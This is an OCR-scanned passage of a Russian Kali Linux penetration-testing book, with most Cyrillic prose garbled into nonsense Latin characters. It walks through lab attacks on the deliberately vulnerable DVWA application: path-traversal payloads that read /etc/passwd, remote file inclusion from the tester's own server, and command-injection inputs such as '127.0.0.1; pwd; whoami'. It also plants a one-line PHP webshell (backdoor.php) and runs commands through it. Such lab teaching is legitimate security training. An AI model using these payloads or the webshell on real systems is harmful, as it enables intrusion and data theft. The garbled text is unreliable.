K (haiiry, KOTOPBIN I0JIKEH ObITh BKJIIOYEH, HO BXO/[ HETIPABUILHO [e3UH(PUIUPYETCS.
ITO TO3BOJISIET ATAKYyEeMOMY BBOIUTH CUMBOJIBI 06X0/1a Katasora (. . /).

O6xoa KaTanoros 1 BKIOYEHNE hannos

[TpoBepuM, MOXKEM JI MbI 3aCTABUTH BEO-TIPUIOKEHNE TTEPEHTH B OMH Kataor. Boc-
noJbayemcs npusokerreM DVWA. BoiiauTe B cucreMy U B JIEBOM MEHIO BbiOepuTe
nyHKT File Inclusion (Bkiouenue daiina) (puc. 10.46).

Vulnerability: File Inclusion

| To include a file edit the Ppage=index.php in the URL to determine which file is included.

More info

hitp:ifen wikipedia. orgiwikilRemole File Inclusion

hupsivvaw owasp.org/index.phpifop 10 2007-A3

Puc. 10.46. Bknaaka File Inclusion (BkntoyeHve daiina)

B anpecHoii ctpoke Opaysepa Bbl JOJKHBL yBUIETD: <IP Address>/dvwa/vulnerabili-
ties/fi/? page=include.php. Fi3menum include.php Ha index.php 1 TOCMOTPUM, YTO
npousoiiziet (puc. 10.47).

| 192.168.0.19/dvwalvulnerabilities/fi/? page=include. php|

WLt

Ilr:\

192.168.0.19/dvwafvulnerabilities/fif? page=index.php |

Puc. 10.47. include.php nameHeH Ha index.php

[TockoapKy peoaraeTcs, 9T0 B 3TOM KaTajore index. php HeT, HUYero He TpPo-
ncxoant. Mol ske 3HaeM, 4To ¢aiia index.php cymecTByeT, O[HAKO OH HAXOAUTCS
B Karasore /dvwa. OTKyza Ham 310 u3BecTHO? Korzga Mbl ucnosnbzosanu Burp Suite
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JUIST B3JIOMA YYETHBIX TaHHBIX, YT0OBI BOUTH Ha CTpaHUILy login.php, MbI BUEH, YTO
YCHEUIHDBIH JIOTHH IIepeHalpaBuJl 110Jib3oBaTed Ha index.php. B azpecHoit crpoke
Opaysepa Bbl index.php He yBuanTe, Tak Kak 1ot daiin 1 PHP gasigerca kopHesoii
ctpanuiieit mo ymoayanuio (kak aiss ASP default.asp). [Toatomy o ymosruanuio
Gpaysep ero He oTobpazaer. UToObl 5TO IPOBEPUTH, HAKMUTE B MeHI0 DVW A KHOIIKY
Home (/lomoit) 1 rtocsie /dvwa BBeuTe index . php. 9TO IPUBEET BAC K TOM Ke JJOMalll-
Hell cTpaHuIle.

[Tepeiinure Ha BkaaAKy File Inclusion (Briiouenue daiina) emte pas. Ecsu BbI pac-
cmotpure URL-azpec, To yBuauTe, 4TO B HacTOMAIIee BpeMsl HAXOAuTech B /dvwa/
vulnerability/fi/, KOTOPBIii, B CBOIO OUYEPE/Ib, PACTIOJIOKEH B JIBYX KaTaIOTax OT Hallle-
ro KOpHEBOro Karajora dvwa. B azpecHoii ctpoke 6paysepa ymnaante include.php u 3a-
MEHUTE Ha 9TOT pa3 ero Ha ../../index.php. Haxkmure kmaBunry Enter 1 mocMoTpuTeE,
yto nosryautcst (puc. 10.48).

| 192.168.0.19/dvwa/vulnerabilities/fi/?page=../..find ex.php{

Puc. 10.48. B aapecHoli cTpoke 6pay3epa include.php 3ameHeH Ha ../../index.php

Koneuno, aTo nmpuBezeT Bac Ha TyaBHyto ctpanuity. Otamanro! Ber ycmenrao mpo-
I[IJIK CTPYKTYPY KAaTaJoroB BeO-cepBepa U, Tak KakK MCIIOJIb30BaJIH JIOKATbHBIN (haili
JUISL CUCTEMBI, Telleph 3HAETE, UTO gKAlouenue iokaiviozo ¢gaiina (Local-File Inclusion,
LFT) Bo3amosxHO.

W3 npeaplaymux pesyabTaTtoB paboTsl ¢ sqlmap 1 nikto B 3HaeTe, 4TO cepBep
Apache paboraer na onepannonnoii cucreme Linux (Ubuntu).

ITo ymosmuanuio B Linux Apache xpanut cBou aiiner B katasore /var/www/html/.
Baxnyto nndopmanmio o momp3zosaresne Linux xpanuT B ¢atisie /etc/passwd, a Xemm-
POBaHHBIE TTAPOJIU TTOTb30BaTe el — B (haiisie /etc/shadow. Onupasich Ha MOJTydeHHBIE
3HaAHWS, MOMTPOOYeM U3MEHUTD KaTaJIOTH, YT00ObI yBUIETH (haiin /etc/passwd.

Ha Bxmaznke File Inclusion ( Brmiouenne (atia) cHoBa yaammnTe include. php 1 BBeuTe
oo/l /. Jetc/passwd.

oS/ o/ /o /. / poBeneT Bac uepes /var/www/html/dvwa/vulnerability/fi/
K / (puc. 10.49).

| 192.168.0.19fdeafvu[nerabl‘[itiesffii?page=..;’.J.J..f..f..fetcfpasswd|

Enm'r.ﬂ:ﬂ:mntknnfminm.\sh darmaon 1 :daermon:fisdshindbinish hinac?:2:hindhindhinish sysocR:3:sysiddewiinish syneocd:G5534:syncdbindhinisyne gamesochGlgameshise

manxg:1 birutsh IpouT<TilpvanispuolApd dindst mailx8:BmailAvarimailbinksh naws: uupx10:

provyacl W i8] backup: It

Jristmin/sh irc:20:3:ircd Avarirunfired-fbin/sh gnats:41:41 -Gnats Bug-Reperting System (admin)Avarfli inish nobodyc65534:65534:nc
libuwid2c100:101 sysiogaclol kiogacloz: mysqix103:105:MySQL
1014117 Apaih Ashii el LS in poatgrRaT: g i
x107:114: i e lomcalfocloB:115: 2l i user 10001000 user, i
7 Hardware layer, pulscacl 111 20:PulseAudio dacmon

Liat
Jbinish

rvaniioimysqlizintalse

a

4:109:118-PulicyKil, hrar

runiPolicy 110:11
[poaffivne 12:120harsponlipostiz/hintalse

Puc. 10.49. Nytb include.php ypnanew, a ../../../../../../etc/passwd BBeaeH. Hxe nokasaHo
coaepxxumoe aina passwd
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Mbl yCIIenHO UBMEHUIIA KAaTaJIOTH BBEPX Ha IIECTh YPOBHEH, 3aT€M Ha OJIMH YPOBEHb
BHU3, B /etc, ¥ MOJIYYUIHU IOCTYI K haiiry passwd.
Ha puc. 10.50 nmokasan TekctoBbiil (haiisn, B KOTOPbINA 100aBIEHO «OUUIIEHHOE> CO-
nep:xumMoe daiiya passwd.

O

|

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh
sync:ix:4:65534:sync:/bin:/bin/sync
games:x:5:60:games;/usr/games:/bin/sh
man:ix:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33 iwww-data:/var/wwwi/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
ircix:39:39:ircd:/var/run/ircd:/bin/sh _
gnats:x:41:41:6Gnats Bug-Reporting System (admin}:/var/
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:181:162::/home/syslog:/bin/false
klog:x:102:183::/home/klog:/bin/false _
mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/fa
landscape:x:104:122::/var/lib/landscape:/bin/false
sshd:x:105:65534: :/var/run/sshd:/usr/sbin/nologin
postgres:x:106:109:PostgreSQL administrator,,,:/var/li

messagebus:x:107:114::/var/run/dbus:/bin/false

Puc. 10.50. TeKkCToBbIlI (halin C «OUnLLEHHBIM>» COAepXMMbIM dhalina passwd

C1MBON X B BEPXHEN CTPOKe NoC/ie NepBOro ABOETOUMSI O3HAYAET, YTO Y 3TOM

YUYETHOW 3anuncK ecTb Naposib, KOTOPLIN XpaHuTcs B daine /etc/shadow.

3Hast, 9YTO MbI MOKEM TIPOXOANUTH Karasoru u uto LFI BosmoskeH, monpobyem aTaky
yoanennozo exouenus gaiiios (Remote File-Inclusion, RFT).
Harr cirenyromuii mar — repeiath aiis ¢ yaajseHHoro cepsepa (3To Hallla CUCTeMa
Kali) B niesreByio cucremy. JIJist 9TOT0 HY’KHO BBECTH B KOMAHIHYIO CTPOKY TepMITHAJIA
caemyroiee:

service apache2 start

ITa KOMaH/a 3allyCTUT B Halell cucreMe Be6-cepsep Apache. Bbl MoxeTe ero mpo-
BepuTh. {151 aTOTO NEepeiianuTe B Gpaysep, BBeAUTE CBOM crcTeMublil [P, 1 BaM 1o ymoui-
yanuio 6yner npeacrasieHa HTML-crpanuiia apache.
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Bepuurecs B npusiokennie DVW A u niepefizinre Ha BKIa/IKy File Inclusion (Briiouenue
(aiina). B agpecHoii ctpoke Gpaysepa sameHuTe include. php Ha webserver/index. html
(puc. 10.51).

| 192.168.0.19/dvwalvulnerabilities/fif?page=http://192.168.0.21/index.htm]

Puc. 10.51. B agpecHoli cTpoke 6pay3epa 3amMeHuTe include.php Ha webserver/index.html

Ow ycrienHo oTKpoeT (haiis index. html, KOTOPbIil pa3MeliieH Ha HallleM BeO-cepBepe.
B aroii cucteme Boamoskno RFI (puc. 10.52).

| 192.168.0.19/dvwa/vulnerabilities/fi/? page—http://192.168.0.2/index.t EJ et | ¢ HQ Search | A 4

Visitedw [JJiOffensive Security S, Kali Linux % Kali Docs %, Kali Tools & Exploit-DB Wy Aircrack-ng 2 Kali Forums %, NetHunter L

Debian Lugu

Apache2 Debian Default Page

1L WOrks!

This is the default welcome page used to test the correct operation of the Apache?2 server afier installafion on Debian systems. If you can read
this page, it means that the Apache HTTP server installed at this site is working properly. You should replace this file (located at /var/ww
/html/index.html) before continuing to operate your HTTP server.

Puc. 10.52. CtpaHuua cepsepa Apache oTkpbiTa

BbinonHeHne komMaHa

YA3BUMOCTH BHEAPEHUST KOMAH/I TTO3BOJISIOT 3JI0YMBIIIJIEHHUKY BBOJAWTH KOMaH/IbI
B TIJIOXO MTPOBEPEHHbBIN TT0JIb30BATETBCKUI BBOJI. JTOT TIOJb30BATETBCKUI BBOJI B TOI
WM UHO (DOpMeE TIPHMEHSIETCS CUCTEMHOI 000I0YKOI1 1 B IIPOIECCE €r0 UCIIOb30BAHIL
BBOJIMMAst KOMaH/Ia BBITIOJHSIETCS B CUCTEME.

Kax BapmanT, BB MOKETe HAUTH MPUIOKEHIE, TPUHUMAIOIIEE BBO/ IOJTH30BATEIS,
HaIpuMep TaKkoe, B KOTOPOE BBOAUTCS UM MTOJIb30BATEIS UITH aJIPEC 3JIEKTPOHHOM TI0-
yTbl. Takoe MpuIoKeHue co3/1aeT CUCTEMHYIO MAIKY, KOTOPast CIYKUT JIJIs1 pa3MeleH s
JIAHHBIX TI0JIB30BATEJIS, 3arPy3Ku (hAIoB U T. 1.

B narmreii nesieBoii cucreme DVWA ecTb cTpanuiia, Ha IpuMepe KOTOPOH MOXKHO
MIPOZIEMOHCTPUPOBATH ATOT HelocTaToK. [10sIb30BaTEIbCKIE BBOJL TIepe/laeTcs KOMaH/Ie
system ping. Boiigute B DVWA, orkpoiite Briagky OWASP Broken Apps VM (OWASP
BssiomanHble npuoxkernst VM) u BbiOepuTe B MeHIO cJieBa IyHKT Injection (MHbEKI[w)
(puc. 10.53).

Kax yxasano Bbiiie, BBejeHubiil IP-azpec nepegaercs komange ping. Yrobbr 910
IPOBEPUTH, BBEJIUTE B 1oJIe BBoja [P-asipec 127.0.0.1 u HaskmuTe KHONKY Submit (OT-
npaButh) (puc. 10.54).

MpI TioJTydaeM OKugaeMblil peaysabrar. Temneps monpodyeM mepeaaTh ApyTyo Ko-
MaH/y B 3TOT BBOJ. MBI 3HaeM, UTO MPUJIOKEHUE pa3MelaeTcss Ha MaluHe ¢ Linux.
Jlug nopkmodenus K KomanaaM Linux Mbl MOKEM UCITOTb30BAaTh CUMBOJIBI &&, BITMCAH-
HbIe MEXKIy KOMaHIaMu.



BbINonHeHWe KoMaHz, 06X0/, KaTanoroB 1 BKOUYeHne dhainos 331

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

| ]

Puc. 10.53. Mo/1b30BaTeNbCKUI BBOA OTKPbIT

Ping for FREE

Enter an IP address below:

.

PING 127.08.8.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.08.1: icmp_seg=1 ttl=64 time=8.811 ms
64 bytes from 127.8.0.1: icmp_seq=2 ttl=64 time=08.877 ms
64 bytes from 127.8.08.1: icmp_seg=3 ttl=64 time=8.815 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 8.811,/0.834/8.0877/0.830 ms

Puc. 10.54. Komanaa ping ans 127.0.0.1 BbinosiHeHa

CuMBOJIBI && B IIpEbIAYLIEN KOMAH/E YCIIEIHO 3aBEPIIaT €€ 10 BBITOJHEHU CJIe-
AYIOIIel KOMaHIbl, ¥, €CJIM IPeablayInas Obljia YCIEeNHO 3aBeplieHa, BhIIIOJIHUTCS
crremytonas koMmana. [IpoBepuM 210, BBIMOJHUB 6a30BYI0 KoMaHy 1s. Beeaure B mosre
BBOZA 127.0.0.1; 1s u HaxkMuTe KHOTIKY Submit (OTmpaButs) (puc. 10.55).

Ping for FREE

Enter an IP address below:

ouss [

PING 127.0.0.1 {127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.08.1: icmp_seq=1 ttl=64 time=0.011 ms
64 bytes from 127.08.0.1: icmp_seq=2 ttl=64 time=0.017 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.0818 ms

---127.8.8.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.011/0.0815/0.018/0.0804 ms

help

index.php

source

Puc. 10.55. BuinonHeHne koManabl 127.0.0.1; Is
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ITuM feficTBUEM MbI IOATBEPKAAEM, UTO BXOZ A0 ero 06paboTKK He IIPOBEPSIETC.
JlokazaTeIbCTBOM SIBJISIETCS] TO, YTO B CTPOKAX MOCJE CTATUCTUKU OTBETOB HA KOMaH-
JIy ping MOKa3bIBAIOTCS (Daii/Ibl TEKYTIETO KaTasmora. Mbl MOJKEM PacITUPUTH 3Ty KOMAH/TY
U TIOJIYYUTh KaTaJIor, B KOTOPOM HaXOUMCsI, a TAKKE Y3HATD, KAKOH MTOJhb30BATEb BbI-
nostasieT Komauael (puc. 10.56). Beeanre cienytotiee:

127.0.0.1; pwd; whoami

Ping for FREE

Enter an IP address below:

| ]

PING 127.8.8.1 (127.8.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.014 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=0.018 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.0815 ms

--- 127.8.08.1 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 8.0814/0.815/0.0818/08.0084 ms
Jowaspbwa/dvwa-git/vulnerabilities/exec

www-data

Puc. 10.56. KomaHaga 127.0.0.1; pwd; whoami BbinonHeHa

W3 pe3ypTaToOB MBI BUIUM, UTO B HACTOSIIIEE BPEMST HAXOANMCS B KaTayiore /owaspbwa/
dvwa-git/vulnerabilities/exec U BBINIOJIHAEM KOMAH/IbI B KQUeCTBE I10JIb30BATEIA
www. Terepb morpobyem BbIBeCTH cofiepskiMoe (aiiia /etc/passwd. Beequre B mose
BBOJIa KOMaH/Ibl 127.0.0.1 1 cat /etc/passwd:

ITOT (DparMeHT 0JIKEH BBITJISAIETh TaK, KaK W Pe3yJbTaThl HAIIETO TPe/bIIyIie-
ro LFL

[IpoBezeM ellle OMH SKCIIEPUMEHT: co3iaauM (aiij B KaTajore, Ha KOTOPbIii B Oy-
JyIIIEM CMOKEM BCET/IA CChLIATHCS JIJIsI BHITIOJTHEHWST KOMaH . BBejure 127.0.0.1
u echo "<?php system(\$_GET['cmd']) ?>" > backdoor.php. ITa KOMaHa JOJKHA
cosnatb PHP-daiin ¢ umenem backdoor, a BHyTpu aroro daiina 6yner PHP-kox
(\$_GET['cmd"']) (puc. 10.57).

Teneps BBeaMTe B aApecHoil cTpoke Gpaysepa /dvwa/vulnerabilities/exec/backdoor.php.

Crpanuria Oyzier 3arpyskeHa, O[HAKO Ha 9KpaHe HU4Yero He oTobpasutcs. [lycroit
9KpaH 0OBSICHIETCS TEM, YTO MBI €llle He TIepelajii HUKaKuX KoMaH 1. Ec/ii BHUMAaTe s b-
Hee pacCMOTPeTh BBOJI, TO YBUANM cmd B OZIMTHAPHBIX KaBBIYKAX. JTO TIepeMeHHasI, B Hell
XPaHUTCS KOMaH/Ia, KOTOPYIO MbI X0Tesid ObI BBIIOJTHUTH. [lepeMeHHas cmd niepegaer
9Ty KOMaH/IY JJisk BbIoJHeHUs. UTOOb! BBIIIOJHITD €€, B alPECHON CTPOKE BBEAUTE
backdoor.php ?cmd=, a 3aTem Banry Komany. /lJs1 reMoHCTpaiu BO3MOKHOCTEN Tiepe-
MEHHO#T cmd MBI BOCITOJIb30BasiMCh KoMan o0l 1s (puc. 10.58).



BbINonHeHWe KoMaHz, 06X0/, KaTanoroB 1 BKOUYeHne dhainos 333

--- 127.08.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 8.012/0.014/0.016/0.083 ms
root:x:8:8:root:/root:/bins/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:fvar/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:18:uucp: fvar/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data: /var/www: /bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /biny/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody :x:65534:65534 :nobody: /nonexistent:/bin/sh
libuuid:x:188:181::/var/lib/libuuid: /bin/sh
syslog:x:101:182: : /home/syslog: /bin/false
klog:x:1082:183::/home/klog:/bin/false

mysql:x:183:105:MyS0QL Server,,,:/var/lib/mysql:/bin/false
landscape:x:184:122::/var/Llib/landscape: /bin/false
sshd:x:185:65534::/var/run/sshd: /fusr/sbin/nologin
postgres:x:186:189:PostgreS0L administrator,,,:/var/lib/postgresql:/bin/bash
messagebus:x:1087:114: : /var/run/dbus: /bin/false
tomcat6:x:188:115::/usr/share/tomcat6: /bin/false
user:x:18808:1880:user,,, ! /homefuser: /bin/bash
polkituser:x:189:118:PolicyKit,,,:/fvar/run/PolicyKit:/bin/false
haldaemon:x:118:119:Hardware abstraction layer,,,:/var/run/hald:/bin/false
pulse:x:111:128:PulseAudio daemon,,,:/var/run/pulse:/bin/false
postfix:x:112:123::/var/spool/postfix:/bin/false

Puc. 10.57. BbiBoaum coaepxumoe daiina

[ Damn Vulnerable We... % / @ hitp://192..hp?emd=Is x | +
:{= ) (| 192.168.0.19/dvwa/vulnerabilities/exec/backdoor.php? crd=ls

f Most Visited [l Offensive Security % Kali Linux % Kali Docs S

backdoor.php help index_php source test.php

Puc. 10.58. MNepemeHHon cmd npucBoeHa koMaHAaa s

Hcnonbayiite cBoe BooGpaskeHue, 4To0bl IIPOBEPUTH Pas/indHblie BapranThbl. Hano npu-
3HATb, JJIS1 TAKUX SKCIIEPHMEHTOB II0TPeOYIOTCS BpeMs 1 HEKOTOpble yeunus. Ho Bbl
BCerjla MOKeTe BEPHYThCs K MIPEAbIAYIIEMY COCTOSIHUIO, IPOCMOTPEB MCXOAHBIN KO/
(puc. 10.59).
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& Damn Vulnerable We... x / http://192.168.0.19/dvwa... % | +
= | (D | view-source:http://192.168.0.19/dvwa/vulnerabilities/exec/backdo

IMost Visited~ [l Offensive Security " Kali Linux % Kali Docs & Kall

total 28K

drwxr-xr-x 4 www-data waw-data 4.0K Sep 5 23:49 .

drwxr-xr-x 12 www-data www-data 4.8 Jul 18 2013 ..
-rw-r--r-- 1 www-data www-data 30 Sep 5 23:55 backdoor.php
drwxr-xr-x 2 www-data www-data 4.0K Jul 18 2013 help
-mwW-r--r-- 1 www-data www-data 1.5 Jul 18 2813 index.php
drwxr-xr-x 2 www-data www-data 4.8 Jul 18 2813 source
-mwW-r--r-- 1 www-data www-data 19 Sep 5 23:42 test.php

BN T, B =S

o

Puc. 10.59. bakaop B nanke http://192.168.0.19/dvwa/vulenrabilities/exec

Mol 6bI 106aBUIIH, YTO J1J18 BBIIIOJHEHUS 9TUX LIArOB BBl MOYKETe 3a/1efiCTBOBATD
perpancigTop u3 Burp Suite. {us nosydenuns obosouku Meterpreter BoCIoib3yiTech
Burp Suite B coueranuu ¢ sqlmap u Metasploit.

Pe3tome

B aroii rmaBe MbI pacCMOTPETN HECKOJIBKO OCHOBHBIX MHCTPYMEHTOB, TIpe/IHa3HavYeH-
HBIX JIJIS1 TECTUPOBAHUS BeO- U 00JIaYHbIX [IPUJIOKEHHI, KOTOPbIe OCHOBAHBI HA OJHUX
U TeX JKe IPOTOKOJIaX U UCIIOJIb3YIOT OJHU U T€ JKe TJIAT(HOPMBL.

Bbl y3Ha/IM, 4TO TaKUe ySI3BUMOCTH UMEIOT 0OIIYIO EPBOIPUYNHY — II0JIb30BaTe b=
CKUII BBOJ, TJle BBOJUMbIE JaHHbIe He 00pabaThiBalOTC WM He IpoBepsitoTcs. Kpome
TOTO, TIPU UCIIOTb30BAHUHU OHON yS3BUMOCTU MOKHO 33/IeHICTBOBATD U IPYTYIO (HATIPU-
Mep, 00X0J1 KaTasiora JIJIsl BKIIoueHust (haiiios).

YT006bI ONMpPENEeUTh BOBMOKHbIE YSI3BUMOCTHU, TIPOTECTUPOBATH U UCIIOIH30BATH
uX, MbI BocIoJb3oBasuch naerpymertamu OWASP ZAP, nikto, sqlmap u Burp Suite.
OpnHaxo B cocrae Kali BbI Halizlere MHOTO IPYTHX TOJE€3HBIX HHCTPYMEHTOB, TIPHUEM
HEKOTOPBIE U3 HUX MOTYT UCTIOJIb30BATHCS COBMECTHO.

Burp Suite u OWASP ZAP — ouenb Mo1IIHbIE aBTOHOMHBIE UHCTPYMEHTBI, KOTOPBIE,
MOMHUMO IIPOYEro, MOKHO MCIIOJb30BATh JIJIsI BHIIIOJTHEHUS TECTOB 00X0/a KaTaJoroB
U BKJTIOUEeHUST (DaiIoB.

Cy11ecTByIOT 1 JIpyrie HHCTPYMEHTHI, C TIOMOIIBIO KOTOPBIX MOKHO TECTUPOBATH
TIPUJIOSKEHUST:

Q Commix — npepHA3ZHAYEH [IJIST ATAK WHBEKI[UAMU KOMAHT,;

Q DirBuster — wHCTPYMeHT rpyOOU CUJIBI JIJIst pabOTHI ¢ KaTaJoraMu BeO-cepBepa;
Q Recon-NG — unHCTpyMeHT BeG-Pa3Be/IKy;

Q Sqlninja — cpencrBo SQL-unbekimu Microsoft.
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B crrepyroteii riaBe Mbl PACCMOTPHUM, KaK C ITOMOIIBIO PA3JIMYHBIX HHCTPYMEHTOB
MOJKHO TIPOBECTH aHaJI13 OECITPOBOHOI CETH, ATAKOBATD CETD C IIEJIBIO TIOJIYIEHUS JI0CTY-
ma, 1 pazbepeM HEKOTOPBIE METOJIbI TIOIEPIKAHS JIOCTYTIA K ceTh. MBI Jlajke pacCMOTPUM
nepBbie maru s cosganus ataku Evil Twin («3uoii goiinuk») (Rogue AP).

JJONONHUTENbHbIE MaTepualibl

Y066l MOJTydrTh 60JIbIIE THGOPMAIIIH O TECTUPOBAHUN BeO- 1 0GTaAUHBIX TIPHUJIOKEHUI],
06paTUTECh K CIEAYIONTIM PECYPCAM.

Q Kali Linux Web Penetration Testing Cookbook, Second Edition (Packt Publishing).
O OWASP Top 10 2017. The Ten Most Critical Web Application Security.

O Risks: https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%?29.pdf.pdf.

O OWASP Foundation: https://www.owasp.org/index.php/Main_Page.



TecTupoBaHue
6ecnpoBOAHbIX CETEN
Ha NPOHMKHOBEHME

B nipegpimymux riaBax Mbl paCCMOTPEIN METOBI U TTPUEMBI TECTUPOBAHUS YCTPONCTB,
[OJIKJTIOUEHHBIX K ITPOBOAHON ceTu. OHU TI03BOJISIOT IPOTECTUPOBATH KAK BHYTPEHHIOIO
CeTbh, TaK U I[eJIeBble CUCTEMbI U IPUIOKEHNUS, K KOTOPBIM MOKHO 100paThcs yepes
obmenocrynnpiii Murepuer. Ho MBI He yaeamin BHUMaHue Takoil obaactu, Kak oec-
MTPOBOHAS CETh.

Becmposoaubie cetr Besnaecytu. OHu MOTyT OBITh Pa3BepHYTHI U paboTaTh B pas-

JIMYHBIX CPeax: KOMMePUECKHX, IPaBUTEIbCTBEHHBIX, 00Pa30BATEIbHBIX, 2 TAKKE
B OOBIYHBIX JKUJIBIX JIOMaxX. B pesysibrare vcHbITaTe M Ha TIPOHUKHOBEHUE JOJIKHbI
rapaHTHPOBATh, YTO HTU CETH MMEIOT HEOOXOANMOE KOJMIECTBO 9JIEMEHTOB YIPABJICHNS
6€e3011aCHOCTBIO U B UX KOH(DUTYPALUU OTCYTCTBYIOT OIIUOKH.

a

B a710ii ri1aBe Mbl 00CYIMM CJIEAYIOIINE TEMBI.

BecnpoBoanas cetb. Paz6epem 6a30Bbie TPOTOKOJIBI M KOH(UTYPAIUIO, OITPE/IeIs-
foTIMe, KaK KIUEHTHI (HOYTOYKHU U TTAHIIIETDI) ay TEHTH(MUIUPYIOTCS U B3aUMO/Ieli-
CTBYIOT € TOUKAMH J0CTYIA GECITPOBOIHON CETH.

PazBesnka. Kak u /7151 TecTMpOBaHust Ha TPOHUKHOBEHUE TTPOBO/IHOTO COEIMHEHMSI,
B Kali Linux BbI HaiizieTe MHOKECTBO HHCTPYMEHTOB, KOTOPBIE MOKHO HCIIOIb30BAThH
IS OIIpe/ie/IeHIs TOTEHIIMAIbHBIX 1IeJIEBbIX CETell, a TaKKe I cO0pa pasHbIX CBe-
JIEHU1 0 KOHPUTYPAINU, KOTOPbIe MOKHO MCIIOJIb30BaTh BO BPEMST aTaKM.

Araxka Ha ayrentudukanmio. B oTiindre ot MOmbITOK CKOMIIPOMETUPOBATD YIaJIeH-
HBIIT cepBep aTaku, KOTOPbIe MbI Oy/IeM 00CYsK/AATh, TIPEHAZHAYEHBI 1T Ay TEHTH-
dburmpoBaHHoTO MOCTyMA K GecrpoBoaHoi ceTr. [Toce TPOBEPKY MOMTHHHOCTH
MBI MOKEM TIOJIKJTIOUUTD, & 3aT€M IIPUBECTHU B JIEMCTBUE UWHCTPYMEHTDI, KOTOPBIE
paccMOTpeJsI paHee.

eiicTBus mocie ayrentudukanuu. 31ech Mb 00CYNM A€HICTBUsT, KOTOPBIE MOTYT
OBITH TIPEATTPUISTHI TTIOCTIE B3JIOMA MEXAHN3Ma 3AITUTHI OT HECAHKITHOHNPOBAHHOTO
nocryna. K HUM OTHOCSITCST aTaky Ha TOYKH JOCTYIA U criocobsl 06xo/1a 0611ero
KOHTPOJIsT 6€30IIaCHOCTH, PEAIN30BAHHOTO B OECIPOBOAHBIX ceTsix. Kpome Toro,
paccMaTpuBalOTCS MepexBar 1 aHnanus («oOHoXuBaHue» ) Tpabuka GeCIipoOBOIHON
CeTH, KOTOPBIE TTO3BOJIAIOT MIPEOCTABUTD JIOCTYII K YUETHBIM JIAHHLIM WJIH JAPYTOil
nHpopMaImu.
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VcnbiTaTesnio HeoOX0UMO UMETh YeTKOE MOHUMaHUE MEXaHU3Ma TeCTUPOBAHUS
Ha IPOHUKHOBEHME B G6eCIPOBOAHYIO ceTh. TexHomorust 6eclpoBOHON epeayn CUr-
Haza ObIcTpO mpuHUMaeT Kouienimio Murepuera Bemeii (Internet of Things, IoT), na
KOTOPYIO MepPexoiaT Bee 6ouiblie u GoJibliie yeTpOicTB, TMOBBIMIAIONINX HALl KOMMOPT
npebbiBanust B MHTepHere. Y 100CTBY UCMOMB30BaHUS 1 KOM(DOPTY 0COOEHHO CIIOCO6-
CTBYIOT OECIIPOBOJIHBIE CETH.

B pesymbTate KOJMUECTBO GECTIPOBOMHBIX CETel, KaK U KOJMIECTBO OOBEKTOB JIJIST
aTak Oy/eT TOJBKO yBeTMUMBAThCsI. KJIHMEHTBI M OpraHU3allly J0JIKHbI TIOHUMATh BCE
PUCKH UCTTIOTH30BAHMST GECTTPOBOHBIX CETEl M 3HATH, KaK 3J0YMBIIIEHHUKN aTaKyTOT
3TU CUCTEMBI.

TexHunyeckne TpeboBaHUs

B aroii rmase nam norpebyiores asa pasubix USB-ycrpoiictsa. Ilepsoe — ato USB-
aganrep TP-LINK TL-WN722N Wireless N150 ¢ 6osbimum koahduinmentom ycu-
sensi, a Bropoe — USB-anantep Alfa AWUSO36NH ¢ Gosbinum KoaddurimeHTom
yeunenust. Oba ycTpoiicTBa JOCTYNHBL B Ipojake. JJOMOTHUTENbHBIE CBEIEHUS BbI
Mosxete HaliTh B VIHTepHeTe, epeiis mo anpecy http://aircrack-ng.org/.

becnpoBogHas ceTb

BecripoBonnas cetb yipasigercs IpoToKoJaMy U KOHMDUTYPAIUAMU Tak e, Kak U 11po-
BoziHas. becripoBojible cetu /71 repeadn JaHHbIX MEXK/Y TOUKON TOCTYIIA U TIO/KJIIO-
YEHHBIMU CETAMH MCIOIb3YIOT PAAMOYACTOTHBIM crieKTp. VcnbITaTes o Ha MPOHUKHO-
Benue becnposoonvie aokaivivie cemu (WLAN) HAOMUHAIOT CTAaHIAPTHDIE LOKALLHLE
